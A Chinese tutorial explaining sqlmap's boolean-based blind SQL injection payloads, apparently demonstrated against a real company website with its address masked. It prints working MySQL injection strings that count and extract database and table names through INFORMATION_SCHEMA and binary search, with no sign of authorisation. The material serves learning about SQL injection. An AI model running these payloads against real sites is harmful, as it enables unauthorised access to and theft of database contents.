1. 程式人生 > >SQLMAP注入過程payload分析

SQLMAP注入過程payload分析

眾所周知,sqlmap是一款命令自動SQL注入工具,功能非常之多,幾乎是用於所有場景,研究分析sqlmap的注入payload過程能使我們對SQL注入的理解更加深刻,也能在以後在一些手工測試的場合擁有更多的思路。

今天我們以一個實際的上海某企業的案例來分析一下sqlmap在基於布林型盲注的時候的工作思路和注入payload的原理。

目標站點url:http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4(手動和諧)

目標站點頁面:
這裡寫圖片描述
測試語句:

-u "http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4"
--tech B -v 3 --dbs

這裡需要注意的是想要讓sqlmap顯示注入過程的payload必須要用–tech指定注入使用哪種注入方式,這裡B代表使用布林型盲注。

開始sqlmap會進行一些頁面穩定性、是否動態、是否可注入、是否過濾一些字元的測試,payload比較簡單(如:[PAYLOAD] 4 AND 3655>3654判斷‘>’是否可用),我們這裡可以略過,我們先手工判斷一下這個頁面的注入點:
這裡寫圖片描述
這是正常的頁面

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4

url後面加’後
這裡寫圖片描述
這是錯誤的返回頁面,我們可以發現這是mysql的資料庫,之後我們構造新url:

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4 and 1=1
這裡寫圖片描述
這是正常的頁面,在構造and false:

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4 and 1=2
這裡寫圖片描述
基本我們已經可以判斷這裡存在布林型的注入了,記住正確的和錯誤的頁面,那麼接下來我們看正式的注入過程,首先我們的目標是所有的資料庫名,那麼我們必須先知道有多少資料庫:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

ORD(string)    返回字串首字元的ASCII碼值。

MID(string,start,length)    返回字串的從start開始長度為length的字串。

IFNULL(string1,string2)    如果string1是NULL則返回string2,如果不是NULL返回string1。

CAST(volume as type)    用於資料型別轉換,將volume轉換成type型別的資料(如這裡是將數字轉換為字串)。

COUNT    統計個數

DISTINCT    標記只要不同(唯一)的值

值schema的意思就是資料庫

INFORMATION_SCHEMA是mysql自帶的一個訪問元資料的資料庫,也就是資料庫資訊,裡面有很多表,在這裡使用了SCHEMATA表這個表儲存的是所有資料庫的資訊。

綜上,這句話的意思就是從所有資料庫表中查詢名字不同的資料庫的數量,我們來拆解一下:

首先這個語句的主體是 select schema_name from information_schema.schemata,也就是查詢元資料資料庫中的資料庫表的資料庫名列的所有值。在此基礎上加了一些限制:

DISTINCT(schema_name)限制了只查詢不同名字的資料庫

(COUNT(DISTINCT(schema_name)限制了查詢結果只是返回統計不同名字的資料庫的數量

用CAST將其轉換為字元(串)

用IFNULL判斷是否查詢到了結果,如果查詢到,返回結果,否則返回0x20(空格)

用MID返回第一個字元

用ORD將這個字元轉換為ASCII碼之後判斷大大小。

在判斷大小這裡為了能更快地得出結果,我們不需要遍歷每一個數字,只要採取二分法可以更快地找到目標。0-9的字元ASCII值對應的是48-57,所以我sqlmap首先判斷的>51也就是>3因為mysql本身就有六個資料庫但world、test、sakila這三個資料庫沒卵用可以刪除,那麼最少應該有三個資料庫,information_schema和information_schema和mysql。假如資料庫的數量是>3的話,那麼就相當於4 and true返回頁面不會出現問題,如果返回頁面不是正確頁面的話我們就可以確定一共有三個資料庫(都是預設的)或者是由10多個數據庫(20多個也是有可能的),十位是1,2總之是小於等於3的。我們將這個url輸入之後發現返回頁面是正常的,所以也就是說資料庫數量大於3那麼根據二分法,資料庫數量(的第一個字元,估計大概率是個位,而且第一個字元就大於3了總不會30多個吧)是>3並且<9的。那麼接下來我們測試6,也就是:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54

結果也是正確的頁面,說明資料庫數量是>6且<9的,那麼接下來我們測試8……以此類推,最後我們法案現資料庫是7個,但出於嚴禁我們還是測試一下第二個字元(萬一喪心病狂70多個數據庫呢,tan90)

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51

結果是錯誤頁面,說明第二個字元小於3,然後我們測試是不是小於0,結果顯而易見,那麼我們基本可以確定是7個數據庫了。Sqlmap還是進行了一個>9的測試,可能它是懷疑既然第二位ASCII的值小於48也就是第二位數字不是0-9為了確認一下是不是結束了,但在這裡既然我們已經(認為的)確認就是7個了,那麼我們可以構造比sqlmap更好的語句來判斷這裡沒有第二個字元了,也就是隻是7一個個位數:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))=0

ASCII碼0代表\0即結束符證明字串結束,結果返回正確,實錘了,資料庫就是7個。
這裡寫圖片描述
那麼接下來我們就嘗試如何將全部資料庫的名字找到:

4 AND ORD(MID((SELECTDISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20))FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) >64

我們將它拆解一下:

4 AND

ORD(

MID(

(SELECT

DISTINCT(

IFNULL(

CAST(schema_name AS CHAR)

,0x20)

)

FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)

,1,1)

) >64

這裡查詢主體是 select schema_name from information_schema.schemata limit 0,1

LIMIT的意思是限定到的條目的位置以及數量,第一個引數是代表偏移量(從0開始,0即代表不偏移從第一個開始),第二個引數代表返回的數量。那麼這裡就是查詢information_schema.schemata表中的資料庫名字,但只要第一個,然後我們依次加上限制條件

  1. 將查詢結果轉換為字串

  2. 判斷是否為空,如果為空則返回空格

  3. 不要重複的

  4. 返回第一個字元

  5. 將第一個字元轉換為ASCII碼

然後判斷是否>64(64是ASCII碼@,但判斷名字的話名字中可以包含的字元在ASCII碼中分佈比較分散,就不像判斷數量那麼容易,所以需要很煩繁瑣的步驟)

結果是>64,>96,但<112,>104,<108,<106,總之最後是105—i

接下來進行測試第二個字元

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),2,1))>96

同理我們依次判斷了18個字元並且都翻譯出來了:information_schema(已經基本確定),接下來進行第十九個的測試:

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),19,1))>96

我們發現它不大於96,那麼我們又發現它不大於48(數字0),接著它也不大於1,也可以用=0直接判斷比較直接,實錘了,字串到此為止。

然後我們來找第二個資料庫:

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))>64

和第一個資料庫不同的就是LIMIT後面的引數變成了1,1意味著偏移1也就是從第二個開始,那麼接下來就不用多說了,繁瑣的操作後,我們得到了一共七個資料庫的全部:
這裡寫圖片描述
接下來我們嘗試找到其中一個我們感興趣的資料庫中的表,首先找到資料庫中有多少表:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7a5b896c),1,1))>51

同樣的原理,只是查詢的表變成了INFORMATION_SCHEMA.TABLES,這個表中,table_schema代表的是資料庫名,table_name代表的是表名字,0x7a5b896c(已和諧)是我想要查詢的資料庫名轉換成ASCII碼值。所以這句話翻譯就是從INFORMATION_SCHEMA.TABLES表中查詢資料庫名為0x7a5b896c的表名,返回唯一值的數量並轉換為字串並且返回第一個字元的ASCII碼值。

接下來就以此類推我們就可以完成各種不同的查詢。